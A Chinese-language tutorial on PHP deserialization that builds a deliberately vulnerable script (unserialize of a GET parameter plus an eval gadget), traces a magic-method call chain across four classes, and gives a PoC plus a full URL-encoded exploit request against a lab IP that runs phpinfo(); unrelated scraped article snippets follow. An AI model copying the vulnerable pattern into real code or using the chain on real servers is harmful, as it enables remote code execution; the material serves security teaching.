反序列化漏洞(2), 分析调用链, 编写POC
反序列化漏洞(2), 反序列化调用链分析
一, 编写php漏洞脚本
http://192.168.112.200/security/unserial/ustest.php
<?php
class Tiger{public $string;protected $var;public function __toString(){return $this->string;}public function boss($value){@eval($value);}public function __invoke(){$this->boss($this->var);}
}class Lion{public $tail;public function __construct(){$this->tail = array();}public function __get($value){$function = $this->tail;return $function();}
}class Monkey{public $head;public $hand;public function __construct($here="cmd"){$this->head = $here;echo "Welcome to ".$this->head."<br>";}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)) {echo "hacker";$this->source = "index.php";}}
}class Elephant{public $nose;public $nice;public function __construct($nice="nice"){$this->nice = $nice;echo $nice;}public function __toString(){return $this->nice->nose;}
}if(isset($_GET['cmd'])){@unserialize($_GET['cmd']);
}
else{$a = new Monkey;echo "Hello!";
}
?>
二. 代码审计, 编写POC脚本
1. 找到执行终点.
eval() 函数在Tiger类的boss()方法中, 那么只要能从unserialize()方法开始反序列化, 最终执行到 boss()方法就可以利用了.
2. 找到执行起点.
通常反序列化函数unserialize()在执行后, 必然会调用 __wakeup() 与 __destruct() 方法.
只有在 Monkey 类中有 __wakeup(), 那么以 Monkey 类作为调用链的起点来分析.
3. 分析出一条可以从起点到终点的调用链
Monkey
类的 __wakeup()
中调用 preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)
,
preg_match()
函数要求两个参数都是字符串, 第一个参数是正则式, 第二个参数 $this->head
也必须是字符串.
我们看到 $this->head
的值最开始是来源于构造方法 __construct($here="cmd")
, 默认值是"cmd",
如果程序走到 preg_match()
, $this->head
作为参数传入时是一个字符串, 那么 __wakeup()
中就无法再执行到其他类的属性或方法了, 而我们的最终目的是要走到Tiger
类的boss()
方法, 所以 $this->head
这里考虑一下类型转换的情况.
我们再观察其他能够自动执行的魔术方法, 发现 __toString()
函数, 这个函数当对象转换为字符串时会自动调用.
那么我们再考虑 $this-head
, 如果它原本是一个其他类的对象, 在传入 preg_match()
方法后就会被转换为字符串, 这样就会自动调用到那个类的 __toString()
方法了.
我们看到 __toString()
在 Tiger
和 Elephant
两个类中都有.
先看 Tiger
类, 它的 __toString()
只是返回了一个变量值, 无法调用其他对象或方法, 没有利用价值, 略过.
再看 Elephant
类, 它的 __toString ()
返回 $this->nice->nose;
, 那么我们如果让$this->head = new Elephant()
就可以从Monkey
对象自动走到这里.
根据上面的分析, 构造一下调用链的POC脚本:
class Elephant{public $nose;public $nice;
}class Monkey{public $head;public function __construct(){$this->head = new Elephant();}
}
继续分析$this->nice->nose;
, 由 $this->nice
对象读取 nose
属性, 我们可以观察一下有没有与调用属性自动会触发的魔术方法.
发现在 Lion
类中有一个__GET()
方法, 该方法在读取不存在的属性时被调用.
那么如果我们让$this->nice
是一个Lion
类的对象, 而Lion
类中并没有 nose
属性, 所以会自动触发 __GET()
方法, 我们继续编写POC.
class Lion{public $tail;
}class Elephant{public $nose;public $nice;public function __construct(){$this->nice = new Lion();}
}class Monkey{public $head;public function __construct(){$this->head = new Elephant();}
}
继续分析 __GET() 方法
, 它里面有两句代码:
$function = $this->tail;
return $function();
我们知道在php中, 对象可以用函数形式来调用, 比如
$obj = new Test(); // 创建一个Test对象叫做 obj
$obj();
当对象以函数形式调用时, 会自动触发 __invoke()
方法.
那么回来观察 __GET()
方法, 如果 $this->tail
是一个对象的话, return $function();
就是以函数形式调用对象, 它可以触发 __invoke()
.
接下来我们观察一下其他类有没有 __invoke()
方法, 发现在 Tiger
类中有, 那么我们让 Lion
走到 Tiger
, 继续修改POC:
class Tiger{public $string;protected $var;}class Lion{public $tail;public function __construct(){$this->tail = new Tiger();}
}class Elephant{public $nose;public $nice;public function __construct(){$this->nice = new Lion();}
}class Monkey{public $head;public function __construct(){$this->head = new Elephant();}
}
继续分析 Tiger
中的代码, 发现__invoke()
在调用 $this->boss($this->var);
, 而boss()
函数就是我们的终点, 参数就是属性var
.
所以最后只要做一个赋值就可以完成整个调用链了, 修改poc:
<?php
class Tiger{public $string;protected $var = "phpinfo();"; // 执行phpinfo()}class Lion{public $tail;public function __construct(){$this->tail = new Tiger();}
}class Elephant{public $nose;public $nice;public function __construct(){$this->nice = new Lion();}
}class Monkey{public $head;public function __construct(){$this->head = new Elephant();}
}// 创建对象显示出最终的序列化字符串
$monkey = new Monkey();
echo urlencode(serialize($monkey));
?>
poc执行结果:
O%3A6%3A%22Monkey%22%3A1%3A%7Bs%3A4%3A%22head%22%3BO%3A8%3A%22Elephant%22%3A2%3A%7Bs%3A4%3A%22nose%22%3BN%3Bs%3A4%3A%22nice%22%3BO%3A4%3A%22Lion%22%3A1%3A%7Bs%3A4%3A%22tail%22%3BO%3A5%3A%22Tiger%22%3A2%3A%7Bs%3A6%3A%22string%22%3BN%3Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D%7D
三, 漏洞利用
向http://192.168.112.200/security/unserial/ustest.php
提交GET请求.
http://192.168.112.200/security/unserial/ustest.php
?cmd=O%3A6%3A%22Monkey%22%3A1%3A%7Bs%3A4%3A%22head%22%3BO%3A8%3A%22Elephant%22%3A2%3A%7Bs%3A4%3A%22nose%22%3BN%3Bs%3A4%3A%22nice%22%3BO%3A4%3A%22Lion%22%3A1%3A%7Bs%3A4%3A%22tail%22%3BO%3A5%3A%22Tiger%22%3A2%3A%7Bs%3A6%3A%22string%22%3BN%3Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D%7D
在页面上会看到后端执行了phpinfo();
.
相关文章:
反序列化漏洞(2), 分析调用链, 编写POC
反序列化漏洞(2), 反序列化调用链分析 一, 编写php漏洞脚本 http://192.168.112.200/security/unserial/ustest.php <?php class Tiger{public $string;protected $var;public function __toString(){return $this->string;}public function boss($value){eval($valu…...
Pytorch reshape用法
这里-1是指未设定行数,程序自动计算,所以这里-1表示任一正整数 example reshape(-1, 1) 表示(任意行,1列),4行4列变为16行1列reshape(1, -1) 表示(1行,任意列)…...
Latex 辅助写作工具
语法修改 https://app.grammarly.com/润色 文心一言、ChatGPTlatex 编辑公式 https://www.latexlive.comlatex 编辑表格 https://www.tablesgenerator.comlatex 图片转公式 https://www.tablesgenerator.com...
frp新版本frp_0.52.3设置
服务端 frps.toml cp /root/frp/frpc /usr/bin #bindPort 7000 bindPort 7000# 如果指定了“oidc”,将使用 OIDC 设置颁发 OIDC(开放 ID 连接)令牌。默认情况下,此值为“令牌”。auth.method “token” auth.method "…...

100G.的DDoS高防够用吗?
很多人以为100G的DDoS防御已经足够了,但殊不知DDoS攻击大小也是需要分行业类型的,比如游戏、金融、影视、电商甚至ZF或者行业龙头等等行业类型,都是大型DDoS攻击的重灾区,别说100G防御,就算300G防御服务器也不一定够用…...

【django+vue】项目搭建、解决跨域访问
笔记为自我总结整理的学习笔记,若有错误欢迎指出哟~ 【djangovue】项目搭建、解决跨域访问 djangovue介绍vue环境准备vue框架搭建1.创建vue项目2.配置vue项目3.进入项目目录4.运行项目5.项目文件讲解6.vue的扩展库或者插件 django环境准备django框架搭建1.使用conda…...

【数据库】数据库连接池导致系统吞吐量上不去-复盘
在实际的开发中,我们会使用数据库连接池,但是如果不能很好的理解其中的含义,那么就可以出现生产事故。 HikariPool-1 - Connection is not available, request timed out after 30001ms.当系统的调用量上去,就出现大量这样的连接…...
华纳云:租用的服务器连接超时怎么办?
服务器连接超时可能由多种原因引起,解决问题的方法取决于具体的情况。以下是一些常见的原因和相应的解决方法: 网络问题: 检查本地网络: 确保本地网络连接正常,尝试访问其他网站或服务,检查是否存在网络问题…...
基于MS16F3211芯片的触摸控制灯的状态变化和亮度控制(11.17,PWM)
紧接上文,基本的控制逻辑并不难写,难的是是、如何输出自己想要频率的PWM波在对应的端口 阅读文档定时器与PWM相关的寄存器,因为之前玩的STM32,所以看起来还是有点困难,准备边看边记录。 如果想要实现在长按时改变PWM…...
编译buildroot出错,这个怎么解决呢,感谢
编译buildroot出错,这个怎么解决呢,感谢 发表于 2019-5-22 20:24:25 浏览:8025 | 回复:5 打印 只看该作者 [复制链接]楼主 g++: internal compiler error: 已杀死 (program cc1plus) Please submit a full bug report, with preprocessed source if appro…...

【0基础学Java第十课】-- 认识String类
10. 认识String类 10.1 String类的重要性10.2 常用方法10.2.1 字符串构造10.2.2 String对象的比较10.2.3 字符串查找10.2.4 转化10.2.5 字符串替换10.2.6 字符串拆分10.2.7 字符串截取10.2.8 字符串的不可变性10.2.9 字符串修改 10.3 StringBuilder和StringBuffer10.3.1 String…...

lxml基本使用
lxml是python的一个解析库,支持HTML和XML的解析,支持XPath解析方式,而且解析效率非常高 XPath,全称XML Path Language,即XML路径语言,它是一门在XML文档中查找信息的语言,它最初是用来搜寻XML文…...

【数据结构初阶】链表OJ
链表OJ 题目一:移除链表元素题目二:反转链表题目三:链表的中间节点题目四:链表中倒数第k个结点题目五:合并两个有序链表题目六:链表分割题目七:链表的回文结构题目八:相交链表题目九…...

【Vue渲染】 条件渲染 | v-if | v-show | 列表渲染 | v-for
目录 前言 v-if和v-show的区别和联系 v-show和v-if如何选择 条件渲染|v-if|v-show v-if v-if v-else v-if v-else-if v-else template v-show 列表渲染|v-for v-for 前言 本文介绍Vue渲染,包含条件渲染v-if和v-show的区别和联系以及列表渲染v-for v-if和…...

开源网安解决方案荣获四川数实融合创新实践优秀案例
11月16日,2023天府数字经济峰会在成都圆满举行。本次峰会由四川省发展和改革委员会、中共四川省委网络安全和信息化委员会办公室、四川省经济和信息化厅等部门联合指导,聚焦数字经济与实体经济深度融合、数字赋能经济社会转型发展等话题展开交流研讨。…...
debian/ubuntu/linux如何快速安装vscode
前言 这里写一篇简短的文字用来记录如何在Linux发行版上快速安装VScode,主要使用的一个软件snap,做一个简单介绍: Snap Store 是 Ubuntu、Debian、Fedora 和其他几个 Linux 发行版中的一个应用商店,提供了数千个应用程序和工具的…...

Python3语法总结-数据转换②
Python3语法总结-数据转换② Python3语法总结二.Python数据类型转换隐式类型转换显示类型转换 Python3语法总结 二.Python数据类型转换 有时候我们,需要对数据内置的类型进行转换,数据类型的转换。 Python 数据类型转换可以分为两种: 隐式类…...

【火炬之光-魔灵装备】
文章目录 装备天赋追忆石板技能魂烛刷图策略 装备 头部胸甲手套鞋子武器盾牌项链戒指腰带神格备注盾牌其余的装备要么是召唤物生命,要么是技能等级,鞋子的闪电技能等级加2不是核心,腰带的话主要是要冷却有冷却暗影的技能是不会断的ÿ…...
javascript选择器的封装,只需要写元素名或css类及id都可以选择到元素
//模仿jquery选择器样式,只需要写元素名或css类及id都可以选择到元素 <html><head><meta http-equiv"Content-Type:text/html;charsetutf8"/><link rel"shortcut icon" href"#"/><title>封装选择器&l…...
机器学习第7天:逻辑回归
文章目录 介绍 概率计算 逻辑回归的损失函数 单个实例的成本函数 整个训练集的成本函数 鸢尾花数据集上的逻辑回归 Softmax回归 Softmax回归数学公式 Softmax回归损失函数 调用代码 参数说明 结语 介绍 作用:使用回归算法进行分类任务 思想:…...
KubeSphere 容器平台高可用:环境搭建与可视化操作指南
Linux_k8s篇 欢迎来到Linux的世界,看笔记好好学多敲多打,每个人都是大神! 题目:KubeSphere 容器平台高可用:环境搭建与可视化操作指南 版本号: 1.0,0 作者: 老王要学习 日期: 2025.06.05 适用环境: Ubuntu22 文档说…...

利用最小二乘法找圆心和半径
#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …...

【kafka】Golang实现分布式Masscan任务调度系统
要求: 输出两个程序,一个命令行程序(命令行参数用flag)和一个服务端程序。 命令行程序支持通过命令行参数配置下发IP或IP段、端口、扫描带宽,然后将消息推送到kafka里面。 服务端程序: 从kafka消费者接收…...
日语学习-日语知识点小记-构建基础-JLPT-N4阶段(33):にする
日语学习-日语知识点小记-构建基础-JLPT-N4阶段(33):にする 1、前言(1)情况说明(2)工程师的信仰2、知识点(1) にする1,接续:名词+にする2,接续:疑问词+にする3,(A)は(B)にする。(2)復習:(1)复习句子(2)ために & ように(3)そう(4)にする3、…...

[ICLR 2022]How Much Can CLIP Benefit Vision-and-Language Tasks?
论文网址:pdf 英文是纯手打的!论文原文的summarizing and paraphrasing。可能会出现难以避免的拼写错误和语法错误,若有发现欢迎评论指正!文章偏向于笔记,谨慎食用 目录 1. 心得 2. 论文逐段精读 2.1. Abstract 2…...

WordPress插件:AI多语言写作与智能配图、免费AI模型、SEO文章生成
厌倦手动写WordPress文章?AI自动生成,效率提升10倍! 支持多语言、自动配图、定时发布,让内容创作更轻松! AI内容生成 → 不想每天写文章?AI一键生成高质量内容!多语言支持 → 跨境电商必备&am…...
在web-view 加载的本地及远程HTML中调用uniapp的API及网页和vue页面是如何通讯的?
uni-app 中 Web-view 与 Vue 页面的通讯机制详解 一、Web-view 简介 Web-view 是 uni-app 提供的一个重要组件,用于在原生应用中加载 HTML 页面: 支持加载本地 HTML 文件支持加载远程 HTML 页面实现 Web 与原生的双向通讯可用于嵌入第三方网页或 H5 应…...

SiFli 52把Imagie图片,Font字体资源放在指定位置,编译成指定img.bin和font.bin的问题
分区配置 (ptab.json) img 属性介绍: img 属性指定分区存放的 image 名称,指定的 image 名称必须是当前工程生成的 binary 。 如果 binary 有多个文件,则以 proj_name:binary_name 格式指定文件名, proj_name 为工程 名&…...

Windows安装Miniconda
一、下载 https://www.anaconda.com/download/success 二、安装 三、配置镜像源 Anaconda/Miniconda pip 配置清华镜像源_anaconda配置清华源-CSDN博客 四、常用操作命令 Anaconda/Miniconda 基本操作命令_miniconda创建环境命令-CSDN博客...

解析奥地利 XARION激光超声检测系统:无膜光学麦克风 + 无耦合剂的技术协同优势及多元应用
在工业制造领域,无损检测(NDT)的精度与效率直接影响产品质量与生产安全。奥地利 XARION开发的激光超声精密检测系统,以非接触式光学麦克风技术为核心,打破传统检测瓶颈,为半导体、航空航天、汽车制造等行业提供了高灵敏…...